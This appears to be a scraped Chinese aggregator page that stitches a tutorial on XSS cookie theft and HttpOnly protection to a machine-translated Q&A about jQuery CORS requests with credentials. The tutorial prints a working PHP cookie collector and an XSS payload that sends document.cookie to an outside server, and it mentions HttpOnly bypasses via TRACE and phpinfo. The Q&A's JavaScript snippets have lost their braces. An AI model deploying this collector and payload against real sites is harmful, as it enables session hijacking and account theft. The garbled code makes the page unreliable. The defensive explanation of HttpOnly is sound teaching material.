如何HttpOnly的cookie与AJAX请求工作
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何HttpOnly的cookie与AJAX请求工作相关的知识,希望对你有一定的参考价值。
参考技术A 随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化的环境进行解析,除了应用本身可能已经存储在全局对象中的所有信息外,该环境不保存与会话有关的任何信息,http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息,就需要用到cookie和session,无论是什么,都是为了让服务器端获得一个token来检查合法性,很多时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引申而出了,只要获得这个cookie,就可以取得别人的身份,特别是管理员等高级权限帐号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。那么如何获得Cookie劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的php文件ck.php为:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把这个文件放在自己的服务器上,比如我们搭建的服务器为:http://10.65.21.78:8080 .
那么构造XSS语句:
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多,貌似还没有提到HttpOnly,这是哪般?莫及!这就到了!如何保障我们的Cookie安全呢?Cookie都是通过document对象获取的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时接受这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候),应用程序也一般不会在JS里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。
但是,也可以看到HttpOnly并不是万能的,首先它并不能解决XSS的问题,仍然不能抵制一些有耐心的黑客的攻击,甚至一些基于XSS的proxy也出现了,但是已经可以提高攻击的门槛了,起码XSS攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击,这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。
那问题就来了,大家想想,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序。
所以,HttpOnly并不是万能的。
Jquery Ajax CORS + HttpOnly Cookie
【中文标题】Jquery Ajax CORS + HttpOnly Cookie【英文标题】: 【发布时间】:2011-09-28 06:26:05 【问题描述】:我已经让 CORS 处理我当前的项目,尽管我似乎无法正常工作的一件事是 cookie。
现在我得到了 cookie,服务器发出并发送它,firefox 接受它,我可以在 firebug cookie 部分看到它。但是,当我对该服务进行后续调用时,它似乎没有在标头中发送 cookie...
GET /some/entity/ HTTP/1.1
Host: localhost:1837
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://localhost:6879
Origin: http://localhost:6879
我需要对我的 ajax 调用做一些特别的事情吗?
var ajaxOptions =
url: serviceResourceUrl,
type: "get",
dataType: "json",
success: successCallback,
error: failedCallback,
xhrFields: withCredentials: true
;
$.ajax(ajaxOptions);
【问题讨论】:
【参考方案1】:尝试使用 beforeSend 属性而不是 xhrFields。在你的情况下:
var ajaxOptions =
url: serviceResourceUrl,
type: "get",
dataType: "json",
success: successCallback,
error: failedCallback,
beforeSend: function(xhr)
xhr.withCredentials = true;
;
$.ajax(ajaxOptions);
你可以在这里了解更多:Sending credentials with cross-domain posts?
【讨论】:
我最初是想这样做的,但它根本行不通。在 xhrFields: ... 上看到一篇文章,它为我检索 cookie 工作。将再次尝试其他方法。 刚试了一下,还是不行。 cookie 可以在 firebug 中看到,它具有正确的过期时间和域。在服务上调试时没有 cookie :( 对不起所有的 cmets,但只是仔细检查了域并在 firebug 中报告了 localhost(部分正确),但是开发中的服务实际上在 localhost:1873 上。如果我尝试编辑 cookie 并将该域放入,它只是忽略它并且似乎只保留 localhost。服务器似乎将其正确设置为...所以这可能是 Firefox 的错误吗? 鉴于您的回答,虽然 xhrFields 有效,而 beforeSend:... 对我没有用。这里的根本问题是通过不让服务器设置 cookie 域并让客户端推断它来解决的。以上是关于如何HttpOnly的cookie与AJAX请求工作的主要内容,如果未能解决你的问题,请参考以下文章
如何提取 Cognito 生成的 JWT,并将其存储为 HTTPonly cookie 并与后续 API 请求一起使用(React)
Jquery Ajax CORS + HttpOnly Cookie
从 HttpURLConnection 保存 Cookie(包括 !httponly 标志)和会话
如何将 window.fetch() 与 httpOnly cookie 或基本身份验证一起使用